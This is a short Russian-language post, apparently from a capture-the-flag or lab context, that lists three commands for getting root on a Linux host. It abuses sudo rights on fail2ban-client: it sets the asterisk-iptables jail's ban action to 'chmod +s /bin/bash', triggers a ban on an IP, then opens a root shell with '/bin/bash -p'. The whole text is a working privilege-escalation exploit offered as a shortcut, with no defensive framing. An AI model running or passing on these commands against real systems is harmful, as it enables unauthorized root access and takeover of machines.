work smarter, not harder!
Всего несколько команд на пути к root: 1. sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash' 2. sudo /usr/bin/fail2ban-client set asterisk-iptables banip 8.8.8.8 3. /bin/bash -p